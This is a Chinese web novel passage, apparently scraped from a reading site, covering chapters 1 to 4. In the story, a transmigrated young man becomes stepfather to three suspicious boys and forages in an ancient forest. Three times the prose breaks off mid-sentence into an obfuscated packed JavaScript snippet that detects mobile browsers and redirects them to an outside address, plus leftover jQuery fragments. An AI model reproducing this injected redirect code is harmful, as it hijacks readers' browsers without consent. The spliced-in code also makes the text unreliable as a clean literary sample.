《儿砸,别再捞爹爹了!》 1. 第 1 章 “爹啊啊啊……” “爹别走呜呜……” “我要爹爹呜呜……” 宋显刚睁开眼,就看到两名衣衫破烂的男孩守在他跟前。 一名年纪在十三四岁左右,小麦肤色,身材健壮,此时正双眼红着眼,在极力隐忍者什么。 另一名年纪在七八岁上下,长得粉雕玉琢,正凄凄惨惨地大哭,模样十分可怜。 俩孩子这是在—— 为他伤心? 看着俩孩子稚嫩的脸庞,身上打满补丁的衣服,裸露的脚背脚趾上纵横着多处结痂的伤口,宋显莫名觉得心疼。 他缓缓伸出手,放在了最小的娃儿脑袋上,带有安抚性地轻轻揉了揉。 正哭得起劲儿的宋济民感受到抚摸后愣住了,他惊讶地看向宋显。 宋陆远也跟着看向宋显。 宋显注意到大点的孩子在瞅自己,眼睛红红的,好可怜的模样。 他立刻反思自己确实不应该觉得这孩子长得高大,看起来更刚毅些,就忽视他的情感需求。 宋显赶紧将另一只手也覆在了宋陆远的头顶上,轻轻地揉了揉。 “都别难过了,爹没事的,爹以后会好好照顾你们。” 宋陆远蹭地起身! 宋济民急忙跳起,抱住他二哥宋陆远的胳膊。 “二哥,太好了,爹醒了!咱们去叫大哥!” 爹?宋陆远难以置信地瞪向宋济民。 宋济民马上如猴儿一般攀上宋陆远的后背,不停地拍打他的肩膀,催促他快走。 宋陆远冷哼一声,心不甘情不愿地背着宋济民离开了草房。 宋显微笑目送俩孩子离开后,突然垮下了脸,一口气叹下来比长城还长。 他这会儿真不知道自己该笑还是该哭了。 好消息—— 他的愿望实现了! 昨天他特意去以灵验著称的某寺庙许愿“想有家人”,今天他的愿望就实现了。 坏消息—— 他的愿望被调剂了! 他竟然穿越到了古代,成了仨孩子的后爹,家徒到连四壁都没有! 瞧瞧这屋子,除了几根霉了快发烂的木架子支撑,就只有四周围挡的破草席子和乱树枝子。 屋顶破了一个大窟窿,边缘的茅草摇摇欲坠,像极了一个大鸟巢。 别的不敢说,但这屋子肯定鸟见鸟爱,让每一个居住者都想有一个飞翔梦。 宋显试着从草堆上下来,不小心牵动了伤口。 “嘶——” 头真疼啊,身上也有多处痛点,整个人像碎后重组了一样,连记忆都很破碎。 幸好他从这些破碎的记忆中找到了逻辑连接点,拼凑出了大概情况。 原身是宋家的冲喜小夫郎,刚嫁进宋家第一天妻子就过世了。 原身不想年纪轻轻就带着三名继子过苦日子,在办完丧事后,就贱卖了宋家房产,卷走宋家所有钱财偷跑了。 宋家三兄弟发现后立即追捕原身,原身慌不择路逃到山上,最终失足坠崖了。 三兄弟在悬崖下找到原身后,不计前嫌将人救回,临时找到了这处破草房给他养伤。 实际上原身早就已经死了,宋家三兄弟救回的是穿到异世界的他。 他可不是白眼狼,三孩子好心救回了他,对他这么好,他一定会报恩。先好好他们的当爹吧,让仨崽崽都过上吃饱穿暖的日子。 …… 许久之后,兄弟俩才领来了他们的大哥宋寒承。 不同于两名像好动小兽般的弟弟,宋寒承的性子就像一泓碧蓝天空下的湖水,平静沉稳,整个人透着说不出的清隽卓绝。 当大儿子的目光落在自己身上时,宋显不知道为什么,有一种在面对考官的感觉,很紧张。 他已经做好了被三兄弟齐齐声讨、责备谩骂的觉悟,然而,宋寒承什么责怪的话语都没对他说。 他只说了两句话。 一句:“身上可还疼?” 一句:“委屈你住在这简陋的破草房了。” 为什么他们不住好房子,住破草房?因为“他”这个坏人把他们原本的好房子给贱卖了啊! “他”还偷走了他们所有钱财,而这些钱财在坠崖的时候全都丢失了,没能找回! 在这种前提下,宋寒承一句不埋怨他,一个冷眼没给他,还关心他的伤势,担心这样的住宿环境委屈了他…… 他人太好了,绝对是好人届的天花板! 能白捡了这么一个善良英俊的大儿子,是他三辈子修来的福分。 接下来,有错就要认,有锅也得背,毕竟他现在与原身已经合二为一了。 宋显积极主动地承认错误,检讨了原身的全部恶行。 “……多谢你们以德报怨,还肯救我。很对不起,我今后我一定改过,安分守己,做好你们的爹,保证对你们比亲儿子还亲!” 宋显说完后,发现三兄弟看他的眼神儿都很奇怪,好像根本不信他的话。 他连忙补充保证:“我接受改造,接受监督,接受考核。如若再犯,我心甘情愿接受任何惩罚。只求你们能信我一次,给我一次改过自新的机会。” 宋寒承笑了笑。 宋济民眨了眨眼睛。 看起来俩孩子是愿意给他一次机会的,宋显稍稍松了口气。 “呸!”宋陆远满脸不屑,他怒指宋显的鼻尖,“你个撒谎精——” 宋寒承和宋济民同时眼疾手快地捂住了宋陆远的嘴巴。 宋显立马举手发誓:“我真心改过的,比珍珠还真。” 宋济民点头:“嗯,我相信阿爹!” 宋寒承淡笑:“我也信。” 宋陆远被捂得憋红了脸,“唔唔”急切地发声,想要表达他、不、信! 宋寒承冷冷横了他一眼,宋陆远立刻像被掐住脖子的鸡,老实地止声。 “老二性子冲动了些,请阿爹见谅。” “不不不,跟他没关系,本就是我犯了错,是我不好。” 宋显小心地瞄一眼宋陆远,又被他凶戾的眼神儿瞪了一下,吓得不敢再看。 “别管他。” 宋寒承搀扶宋显在草堆上坐下,托起他的手腕,为他把脉。 “后脑伤重,不过人醒了就没大碍了,好生养几日。” 宋寒承从怀中掏出一个白瓷瓶给宋显,嘱咐他一天三粒,饭后服用,有补气养血之效。 宋陆远在看到瓷瓶时突然又激动起来,被宋济民狠狠拽了衣角后,他才忍下来没吭声,气呼呼地偏过头去。 宋显猜到这瓶药可能很珍贵,连忙推拒表示不要。 宋寒承坚持给他:“不是说以后要照顾我们?拖着沉疴病体,如何照顾?” 真是好人啊,为了让他安心接受,这样劝他,只字不提药丸贵重。 宋显的心被一股暖流包围,更加坚定了要带仨孩子过上好日子的决心。 三兄弟出去准备晚饭了,宋显就一个人躺在草堆上发呆。 屋内的光线渐渐暗了下来,厚厚的云层遮住了太阳,空气有几分闷,屋顶上频繁有燕子低空飞过。 宋显爬起身,忍着身上的疼痛,缓慢地朝门口移动。 草房东十丈远的空地上,几块碎石垒出的临时灶台上架着一口铁锅,锅里正熬着粟米粥。 宋寒承将豆藿切碎后,撒进了粥里。 宋济民在旁边撒盐。 宋陆远憋了半天憋不住了,问宋寒承:“大哥为何把我最爱的糖豆当成药送给那厮?” 宋寒承眼皮都没抬一下,搅和着粥:“试他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189273|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “试他作甚?要我说就一刀了结了他最干脆!省得你猜我猜大家猜,左试右试天天试!” 宋陆远说着就要提刀杀人,凭他的功夫,切那小白脸的细脖子就跟切嫩豆腐一样容易。 “诶诶诶二哥,别冲动。”宋济民急忙拦住宋陆远,他又跟猴子似得爬上宋陆远的背,意图通过捂住眼睛来阻碍他走路。 “皮猴子,别给我添乱!”宋陆远反手一薅,就将矮小的宋济民轻松地从背上揪了下来,撇到了一边去。 宋济民被丢地上后也不喊疼,立刻爬起来继续阻挠宋陆远。 兄弟俩纠缠不止,吵吵嚷嚷。 “咱们说好的,给他一次机会。二哥,你不守信,不守信的是小人!” 宋陆远皱了皱眉,咬牙道:“行,我看他装到什么时候。且等着,待他露出破绽我就一刀了结了他!” “我看他不像装的,他这里好像真有问题。”宋济民指了下脑袋。 宋寒承突然伸手,从宋济民怀里掏出一本书,丢进了火堆。 宋济民惊呼:“啊,我新编的话本——” 跳动的火焰瞬间包围了那本书,书页被烧得卷起,渐渐变得焦黑,最终被焚成灰烬。 宋济民一脸痛色,多么新颖的故事啊,卖出去肯定畅销。他都快完结了,就这么被烧干净了。 转念一想,从今天开始会发生更有趣的事,宋济民又开心起来。 宋显花了很久的工夫才挪动到门口,与来送粥的三兄弟刚好打了照面。 “要下雨了。” 宋陆远本能质疑宋显:“你怎么知道要下雨?” “云层增多,空气潮闷,燕子低飞,”宋显指向西边的地面,“还有蚂蚁搬家。” 宋济民兴奋地跑去看:“真的耶!在搬家!” 宋显真诚提议:“我们得尽快找个地方避雨。” 草房太破了,根本挡不住风雨。他受伤了,孩子们年纪小,抵抗力都不算好,若有人淋雨生病了会很麻烦。 轰隆! 远处传来雷声,风也刮起来了,昭告着雷雨将至。 宋陆远:“那我们赶紧——” “那我们该怎么办?”宋寒承看向宋显,目光里带着探究。 宋显指着前方的林子。 刚刚,他第一眼看见这片林子时,愣了好久,真没想到这世界的植被居然长得如此令、人、震、撼。 放眼望去,目光所及之处都是几十米高的参天大树,多数是三人环抱粗细的,也有五人抱、七人抱等更粗的。 碗口粗的小树也有,但比较少。可能因为这里是一片古树林,养分都率先被那些参天大树抢走了,后长的小树苗就很难有生长的空间。 “我们躲到那棵树下。” 宋显指向林子中一棵比较显眼的树,树干为黄色,树叶是红褐色,形似荷叶,每片叶子几乎都有雨伞那么大,层层叠叠长了满树。 “你疯了!雨天躲在大树下很容易被雷劈死,你想害死我们?我就知道你这只小白脸毒蝎子没安好心!” 宋陆远骂完宋显后,立刻看向大哥宋寒承。 这狗贼暴露了! 这小毒蝎子装不下去了! 那他是不是可以切豆腐了? 宋陆远将手缩回袖中,握住匕首,时刻准备—— “真的吗?”宋寒承偏头看向宋显,语气中带着几分天真无邪。 宋陆远:“……” 见鬼了!他心黑腹黑的大哥居然在天真无邪。 “信我,此树避雷,我们躲在下面保证不会有事。”宋显语气十分坚定。 他眼中这棵树的样子与别人见到的并不一样。 他看到的树,上面会显示【价值说明】:大荷树,神木,有避雷之效;叶大而不腐,防雨。 2. 第 2 章 “你有什么值得我们信任,又凭什么让我们兄弟拿命赌?” 宋陆远态度不屑,对宋显的话嗤之以鼻。 宋显敛眸,沉默了。 气氛一时间有些尴尬。 “我信我信!” 宋济民将他白嫩的小手放进宋显的掌心,笑容甜津津地仰头看他,眼里蕴着浓厚的孺慕之情。 老三真是小天使啊,及时熨帖了二十二岁新父亲的心! 宋显蹲下身来与宋济民平视,真诚感谢他愿意再次相信自己。 他会再接再厉,和蔼可亲,让他的父爱多多洒向犟种老二。 宋显咧嘴微笑,用慈父般温和的语气和宋陆远沟通:“你说得对,凭我从前的所作所为,我的确不值得人信任。那不妨先让事实说话,再验看我以后是否值得。” 宋显随后就牵起宋济民的手,走向大荷树。 “你不要命,别带上老三!老三,你给我回来!” 宋陆远急了,想要拦下宋济民,肩膀忽然被宋寒承拍了一下。 “大哥,快劝劝老三。” 宋寒承笑了一声,又拍了拍宋陆远的肩膀,也跟着走向大荷树了。 宋陆远无比震惊! 大哥也去了,就是剩他自己了? 小白脸毒蝎子是不是会什么妖孽之术,把他大哥和三弟都给蛊惑了? 不对啊,三兄弟中属他头脑最简单,真要蛊惑的话,最先受蛊惑的人应该是他啊。 轰!轰!轰—— 雷声阵阵,忽然狂风大起,暴雨来得又急又快,宋陆远瞬间就被浇透了。 宋显望见云层中密集的雷电,对宋陆远大喊:“不好,这里是雷区。老二,你快过来!” “少诓我!我还要说你们呢,现在后悔还来得及,赶快到我这来!雷越来越近了,一会儿就会劈到你们那儿去,我可救不了你们!” 宋陆远坚定自己的选择,双臂交叉站在雨中,任凭狂风暴雨拍打在脸上。 他只是被浇透了而已,总比被雷劈死强。 三个愚不可及的家伙! 宋济民这会儿站在大荷树下,倒是浑身干爽,一滴雨都没淋到。 但他现在很忧虑,他觉得他们现在很危险。其实他认为二哥的话没有错,雷雨天不该躲在树下。 刚才他之所以表现出相信宋显的样子,就是为了维持在宋显跟前“乖巧幼子”的形象。 他本以为大哥会赞同二哥的说法,然后将宋显说服,却万万没想大哥居然选择相信宋显了。 宋济民忧心忡忡地凑到宋寒承身边:“‘雷雨天不要躲在大树下’是世人都知的道理,大哥为何信了他的话?” “凡人之患,蔽于一曲而暗于大理。”① 宋寒承探究的目光从大荷树上收回,转而落在宋显的身上。 一张很耐看的脸,安静凝望雨幕的样子,给人以一种岁月静好的感觉,完全不同于初见时他给人留下的猫嫌狗憎的印象。 宋济民略有所悟:“大哥的意思是说,他不一般,知道普通人不知道的一面?” 但他不太懂大哥怎么观察出来宋显有这一特质。 不过,大哥见微知著的能力向来很强,断事精准,非常人所及,他琢磨不透也正常。 这时,一道白光闪过,一记轰鸣的雷声在宋陆远上方突然炸响。 宋陆远“啊”的大叫一声,撒丫子就跑,以生平最快的速度奔到大荷树下,与宋显等人汇合。 “雷、雷、雷……刚才差点劈到我了!”宋陆远惊魂未定,浑身还不停地往下滴水。 白光一闪,一闪,又一闪。 一连串雷声炸响,震得人耳朵发疼,耳鸣声不断。 破草屋前的空地每被雷击中一次就冒起一缕白烟。在频繁的电闪雷鸣下,破草屋着火了,随后不久,屋后面的一棵大树也被雷劈中了,燃起了大火。 宋陆远后怕地看着他原来站过的地方,已然成了一片焦土。 幸亏他对危险的感知比较敏锐,提前一步闪了,否则他现在已经被雷劈成了一个焦人了! 宋陆远白着脸,质问宋显的语气依旧桀骜不驯:“你确定这里安全?” “嗯。”宋显脱掉外衫,递给宋陆远,“快擦擦身上的雨水,小心着凉。” 宋陆远怔愣住,别扭地把衣服推开,“少假好心,我身体好着呢,不怕着凉。” 话毕,他就打了一个大喷嚏。 一边旁观的宋寒承和宋济民都忍不住笑出声来。 “阿爹有伤,不易受风,还是用我的吧。” 宋寒承解了自己的外衫给宋陆远,宋陆远这才接下。 宋显穿回自己外衫的时候,觉得很不好意思。三兄弟的衣裳都成色破旧,满是补丁,而他的衣裳不仅成色新还是柔软的缎面料子,足见他是一个多么苛待继子的恶毒继父。 他该多做点事,来报答和弥补仨孩子。 暴雨一时半会儿停不下来,四人就坐在树干背风面聊天。 “正好我伤了头,许多事不记得了,烦劳你们兄弟多跟我讲讲情况。” 宋济民立刻积极响应,先从这片古树林讲起,然后讲到周围的地形、附近村县的位置、上下山的路…… 聊着聊着,话题就越聊越大,宋寒承和宋陆远也加入了讨论,从昏君当道、乱世割据讲到瘟疫横行,百姓生计维艰、衣食困乏。 宋显听得连连叹息,世道混乱,非他们这些小老百姓能左右,只求他带着三儿子能在这乱世之下安安稳稳度日,吃饱穿暖,平平淡淡地生活。 宋显详细询问了他最关心的方面,发现这个时代的农业技术和生产工具都十分落后,食物资源也十分有限。 主要粮食有五种,稻、麦、粟、黄米、大豆。 主要蔬菜也有五种,葱、韭、冬葵、豆藿、藠头。 肉的种类倒是多一些,除了耕牛以外都可食用,但普通百姓按照礼法不能吃肉,只有达官贵族才可以吃。 不过如今是乱世,许多府衙不作为,百姓们私下偷偷吃肉倒也没人去管。 “我看这漫山遍野郁郁葱葱,理该物产丰饶,不至于将人饿死,百姓们怎会食物困乏?” “你竟连这都记不得了。咱们永州虽山高古林多,草木茂盛,但山里气候恶劣多变,林子密不见光,有诸多野兽毒物,进古林深处比去那虎狼窝还危险,百姓们只能在林子外围挖些野菜。” “还有传闻说这古树林中久不见光,滋长阴气,吸引了许多枉死的怨灵驻留,故而有‘进林不过夜’的说法,哪怕在外围也不行。咱们如今走投无路,才只能留在这里冒险了。” 宋显愧疚地挠了挠头,又是他这个恶毒继父连累他们了。 “说这些做什么。”宋寒承将之前做好的豆藿粟米粥端给宋显,让他先填饱肚子。 豆藿就是豆叶子,粟米颗粒很小,呈黄褐色。 一碗粥喝到嘴里口感粗糙,带着一股难以言说的青草味儿。 当得知“豆藿粟米粥是平常百姓家难得吃到的好食物”、“这里烹饪食物的方式以炖煮为主,连油都没有”后,宋显有几分跃跃欲试了,他表现父爱的时候到了。 看着宋显表情微妙地将粥喝完后,宋寒承眼中漾起的笑意遮盖住了他对宋显的审视。 “味道如何?” “人间美味!”宋显积极夸赞,“多谢我的好大儿!” 宋寒承:“……” 天快黑时雨停了,今晚大家要在大荷树下过夜。 宋显颠颠地跑到破草房处,捡了一些没烧完的木炭,这种木炭在再燃烧时烟少不呛人。接着,他又把垒灶台的碎石都挪到树下。 雨后的落叶层潮湿松软,踩一脚会塌陷半寸,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189274|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水渗出。 宋显在这些落叶层上看到了许多牛肝菌的“价值说明”。 他选了一处,扒开落叶,果然在厚厚的落叶层下找到了一朵牛肝菌。 这朵牛肝菌柄粗壮,肉肥厚,堪称“菌菇之王”中的极品,吃起来绝对香鲜。 采蘑菇的快乐谁懂? 宋显乐呵呵地折下一片大荷树叶,就要去捡牛肝菌。 宋寒承伸手拦下他:“干什么去?” “捡这个呀。” 宋显开心地摇晃着手里胖嘟嘟的牛肝菌,展示给宋寒承看。 宋寒承皱眉:“这蘑菇有毒。” 宋济民和宋陆远正在生火,闻言都凑了过来。 宋陆远马上跳脚,指着宋显的鼻尖又开骂:“好啊你个小白脸毒蝎子,见雷没劈死我们,又想毒死我们?” 宋济民这会儿也没办法帮宋显说话了。 这蘑菇他认得,之前村里就有人因为食了它,先发疯,后毒发身亡。 宋显:“这蘑菇生吃确实有毒——” 瞧瞧,毒蝎子终于不装了,先给他来七七四十九刀,嘿嘿…… 宋陆远当即亮出明晃晃的匕首! “熟透了便无毒,而且味道特别鲜美,回头我先吃给你们看。” 宋显弯腰又捡了一朵,抬头时才看见宋陆远手上没来得及收回的匕首。 “这是?” 宋陆远嘴角抽搐:“这、这是给阿爹切蘑菇用的。” 宋显有些激动地盯着宋陆远看。 宋陆远以为自己的谎言被识破了,正要破罐子破摔,突然被宋显抱住了。 “好孩子,你终于肯认我这个爹了。”这是他第一次听宋陆远喊他爹! 宋陆远:“……” “不过,这菜刀形状还挺特别的。” 宋显从宋陆远手里拿过匕首后,指尖摸了摸匕首尖端的倒钩。 匕首上倒钩的作用,显而易见,在于对敌时便于给敌人造成致命伤。 说匕首是菜刀,这破绽太明显了。 宋寒承和宋济民都静静看着宋显,看他发现破绽后的反应。 “妙啊!这菜刀肯定好用!除了能正常切菜,还便于给鱼开膛破肚、挑虾线,处理生姜等根茎类食材。” 宋显说话时眼睛亮晶晶的,仿佛已经沉浸在美食烹饪中了。 宋寒承、宋陆远、宋济民:“……”这思路他们确实没想到。 怎么他脑袋里好像除了吃就吃,没别的东西? 三兄弟思绪翻飞之际,宋显已经采摘了数斤牛肝菌回来,还薅了一把藠头。 宋济民和宋寒承对视了一眼。 “大哥,你有没有发现他找蘑菇找得很精准,从不落空?” “嗯。” “那?” “不确定,再观察看看。” 宋显美滋滋地把牛肝菌清洗切片后,就放在大荷树叶上,用切碎的藠头和盐搅拌腌制,然后再将蘑菇一片片地放在火堆旁的石面炙烤。 片刻后,烤蘑菇的香味儿飘了出来。 三兄弟从来没闻到过这么鲜香的味道,都不禁有些意动,口舌生津。 宋济民头一次被食物的香味儿勾引得连命都不在乎了,忍不住问宋显:“熟了吗?可以吃了吗?” 不等回答,他就伸出手,想拿一片尝尝。 宋显立马按住宋济民:“还不行,一定要确保熟透了才能吃。” “桀桀桀……” 密林深处突然传来刺耳的笑声,听得人毛骨悚然。 宋显和宋家三兄弟同时望向声音的来源。 林子里面太黑了,什么都看不见,但感觉有什么东西好像在移动,距离他们越来越近,哗哗响声也越来越大。 须臾后,一抹白影从林中显现,朝他们飘来。 “鬼啊——” 3. 第 3 章 宋济民吓得立马跳到宋陆远的背上,抱紧宋陆远的脖子。 宋陆远把手伸进袖子里掏了掏,掏了半天才想起来匕首不在,之前给宋显了。 “桀桀桀……” 恐怖的笑声撕裂了寂静的古树林,将恐惧感推向了极致。 鬼影越来越近,披头散发地朝他们扑来,似乎没有五官。 “啊啊啊——”宋陆远和宋济民吓得齐声尖叫,“怨鬼来了,快跑快跑!” 眨眼间,宋陆远背着宋济民鼠窜到八丈外。 “好大儿别怕,爹保护你!”宋显举着匕首,守护在宋寒承身前。 宋寒承早看到这“鬼”有影子,所以站在原地没动。 宋显保护他的行为倒让他有些意外,本以为他会是第一个逃跑的人。 白衣鬼扑空后,四肢飞快地爬行,像蜘蛛一样,直奔宋显和宋寒承所在的方向。 “退退退!我们这边可不兴搞封建迷信啊,你来了也没用!” “阿弥陀佛,巴啦啦能量,急急如律令,社会主义光芒最闪耀,诛灭一切邪祟!” 宋显一边挥舞着匕首,一边念念有词。 方法都要试,一旦有用呢。 “啊呜,啊呜,啊呜……” 白衣鬼爬到火堆附近就不爬了,开始绕着火堆转圈。 原来白衣鬼在吃石头上的烤蘑菇片。 “哎,不能吃!” 宋显连忙去拦,白衣鬼突然嗷呜一声,趴地上不动了。 宋陆远成功打晕白衣鬼后,不爽地“啧”了一声。 “敢装神弄鬼吓老子!看你长得那驴粪蛋子的样儿!” 宋陆远用脚随便拨弄了一下白衣鬼的脑袋,白衣鬼乱糟糟发散开,露出一张黑煤球似的脸。 “他还抢我们蘑菇吃!” 宋济民很气,那烤蘑菇片他还没吃到嘴呢。 宋寒承敛眸看着:“她肤色不是天生的,老二去弄点水来,小心洗干净她的脸。” “为何要小心洗?”宋陆远不满地抱怨,对待这种装神弄鬼的小偷,就要像秋天扫落叶一样无情! 他打湿了帕子,在白衣鬼的脸上粗鲁地乱擦,擦着擦着他手不自觉放轻柔了,因为他擦出了一张绝世好看的女人脸。 女人肤色很白,螓首蛾眉,唇不点而朱,有沉鱼落雁之姿。 “她长得这么漂亮,为什么要在林子里装鬼?” 女人衣领下有旧伤,袖口处有白线刺绣的“红袖楼”字样。 红袖楼内只有妓子的衣裳刺有这样的标记。 宋寒承:“新入楼的良家女,受不得迫害出逃了,为躲避追捕,就躲进了这片古林中。” 宋陆远和宋济民听后都点点头,不作任何质疑。 宋显疑惑:“怎么知道是新人而不是旧人?” “这般姿容,若是旧人,早有声名。自去年红袖楼花魁死于非命后,就再无姿容绝代的姑娘顶替其位置。 现在红袖楼好不容易得到一位绝世美人,不会轻易放过,必然会布下天罗地网来追捕她。” 宋显:“听起来这红袖楼不是简单的妓院?” 宋寒承点了点头,“很不简单。” 宋显给宋寒承竖大拇指:“逻辑清晰,有理有据,我的好大儿真厉害!” 宋寒承尴尬地轻咳一声,避开了宋显的目光,他有些不习惯宋显的夸赞。 宋陆远和宋济民齐声控诉:“大哥,你偏心!” 宋寒承见微知著的本领很厉害,他能察觉到很多常人所不察之处,但他向来直接说结果,不给人解惑缘由。 从前他们兄弟俩也曾有疑问过,但每一次问问题都被大哥无视了,以至于他们到现在养成了“不问缘由只听结果”的习惯。 但是,但是,如今大哥却很有耐心地给宋显解释! “大哥为何区别对待我们?” “凭阿爹刚才护着我,你们却跑得比兔子还快。” 宋陆远、宋济民:“……”这确实是。 可他们还是孩子,真的怕鬼啊! “桀桀桀……喵呜!喵呜!” 女人苏醒了,一会儿怪笑,一会儿怪叫,摇摇晃晃转头看到宋显父子四人时,又咧嘴嘻嘻笑起来。 “哈,小娃娃们,你们好呀,你们是从哪儿张年画上跳下来的呀?” “来来来,让阿姐看看你们谁最俊?噢,这个皮黑,不可爱!哦,这个可爱,但太矮,容易看不见!” 女人缓缓转头脑袋,目光在宋显和宋寒承身上流转。 “小公鸡点到谁,我就选谁—— 贴、墙、上!” “贴你个驴粪蛋蛋。” 宋陆远一个手刀又劈在女人后颈上,将她打晕了。 “人疯了,没救了。” “有救,她应该是吃了未熟的蘑菇中毒了。” 宋显往四周寻找查看,但愿“五步之内必有解药”的说法能在这里应验。 天太黑了,光线有限。 视线所及的地方,没看到【价值说明】里有解毒作用的生物。 “我需要火把。” “给。” 宋济民从怀里掏出一个竹筒蜡,摘掉帽盖,吹了一下,里面的蜡芯便点燃了,冒出粗壮的火苗。 宋显用手拢着火苗四处寻找,终于在一棵七人抱的大树树洞里,找到一棵暗红色的爬藤,上面开着一朵小白花。 【价值说明】:凤血藤,开两色花,红花有剧毒,白花解百毒。 宋显把白花摘下后,想了想,将整棵凤血藤拔了下来。 乱世不安全,他需要保护儿子们,把这凤血藤种家里,养出白花来可以解毒用,养出红花来可以用来对付恶人。 …… 女人服用凤血藤的白花不久后,清醒了。 “我、我叫白歌,是一个乞丐,饿了三天饿疯了,就跑到这古林里寻食。刚才忽然闻到一股香味儿,我就失智了,真对不起。” 白歌的嗓子很干哑,强发出声音时音调听起来很怪。、 刚才在林中奔跑时,她发出“桀桀”的怪声其实是在喊“解饿”。 她饿出幻觉了,闻到烤蘑菇的香味后就疯了,满脑子想着吃了这东西就解饿了,就下意识喊了出来。 宋寒承:“你不必撒谎,我们知道你是从红袖楼里逃出来的。” 白歌下意识去摸自己的脸,原本她脸上的黑灰已经被洗去。 “我本是良家女,被我那丧尽天良的未婚夫骗去了红袖楼。我千里奔赴于他,他却卖了我,就只为了区区三千文! 红袖楼老鸨想训我做花魁,我不愿,日日挨打…… 我好不容易才找机会从那魔窟里逃出来,求各位恩人给我留一条活路!求求你们了!” 白歌泪如雨下,频频磕头哀求。 宋显小心搀扶起白歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189275|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “白姑娘放心,我跟儿子们都不是坏人,不会为了点钱就将你送回那魔窟去。” “对,我们肯定不会那样做。”宋陆远和宋济民都很同情白歌的遭遇,为她抱不平。 宋寒承反应相对冷淡:“白姑娘,你可以走了。” 白歌窘迫地看着他们:“我、我没处可去,你们能不能收留我?” “抱歉,有心无力呢,我们自己都没家。”宋寒承拒绝得很干脆。 白歌愣住,没想到她这样的美人儿可怜巴巴地提要求,居然能被人狠心拒绝。 她呜呜哭起来,余光瞥了一眼宋显手握的匕首。 “那怎么办,我真没地方可去了。我家在千里之外的蜀州,此番前来本是为了与未婚夫成亲,却被那狗东西背叛呜呜……” 白歌的眼泪啪嗒啪嗒往下掉,刚巧落在了凤血藤上。 “这——”宋显欲言又止,看向宋寒承。 这事儿他不好擅自做决定,去给三个儿子添麻烦。因为他自己就是个麻烦,还受着伤,被三兄弟照顾着。 “这林子本就不是我们的地方,你若想留也可以留,但多余的事儿我们帮不上忙,要靠你自己。” “好好好。” 白歌破涕为笑,答应她的人是宋寒承,但她目光只看向宋显表达感谢。 宋陆远贱嗖嗖地凑到宋显身边:“你不会刚跟我们缓和了关系,就要给我们找个后娘吧?” “不会。” 新手父亲刚出场就一拖三,第一步先立自身还没做到呢,他哪还有精力顾别的。 宋显转眸看见地上的凤血藤枯萎腐败了,惊了。 “这怎么回事?” 宋寒承:“可能它不宜沾女人泪?” 宋显愣了愣,明白过来是白歌的眼泪掉在凤血藤上了,“应该是不宜沾水。” 怪不得他找了那么多地方,只在树洞里采集到一棵凤血藤。周围的环境虽差不多,但只有树洞内是干燥避雨的环境,原来它怕水。 宋显叹了口气,以后再遇到珍稀品种,他一定要先观察好生长环境,再考虑是否能移栽。 …… 第二日,晨光微熹,鸟儿叽叽喳喳叫着。 大家醒来的时候,炭火已经熄灭了。 “大家早安,吃饭啦。” 宋显早早就收集好了石头上的烤牛肝菌片,还在附近寻了黄色的果子,按需分给大家做早餐。 宋陆远闻了闻香味儿浓郁的烤牛肝菌,既嘴馋想吃又有点担心:“这回这蘑菇——” “放心,炙烤了一晚上,肯定熟透了。” 宋显先吃了几片,展示给大家看。 宋家三兄弟和白歌等了一会儿,见宋显确实没事,才敢放心地跟着吃。真不能怪他们担心,毕竟昨晚他们亲眼看过白歌中毒发疯。 这烤蘑菇片真好吃,味道很香有点鲜,口感还有点像肉,但远比肉美味。 宋陆远吃得心里美滋滋的,心情莫名好。 看来他们这位阿爹也并非一无是处。 这黄果子的味道想必也不错,吃完了烤蘑菇片后刚好有点口干。 三兄弟和白歌都大口地咬下黄果子—— 瞬间,一股难以言说的辛辣味儿在他们口腔中蔓延,霸道地传播至四肢百骸。 三兄弟中不知道是谁蕴着怒气问:“这是什么?” “这是父爱如山呐!” 4. 第 4 章 几人要吐出来。 “不许吐,这是姜球果,有驱寒、缓解消化的奇效。” “看,我为了摘它,手都被划破了。” “咱们现在啥条件,风餐露宿,家都没有,必须保障有个好身体,病不起呀。” 宋显絮絮叨叨的关心像一张温柔的网,包裹住了大家,让他们无法拒绝。 “听话,都吃了,对身体好。” “好,我们吃!” 白歌率先应下,三两口就将一个姜球果啃完,然后将啃干净的果核展示给宋氏兄弟们看。 “真想不到,宋大哥年纪不大,却是个好父亲,三孩子跟着你真有福气了。” 白歌感激宋显的救命之恩和收留之恩,别说恩人这会儿只是让她吃辛辣的姜球果,就是屎她也会给面子照样吃。 宋显很开心白歌响应他的号召,满怀着期待的目光朝儿子们看去。 宋寒承、宋陆远、宋济民:“……” 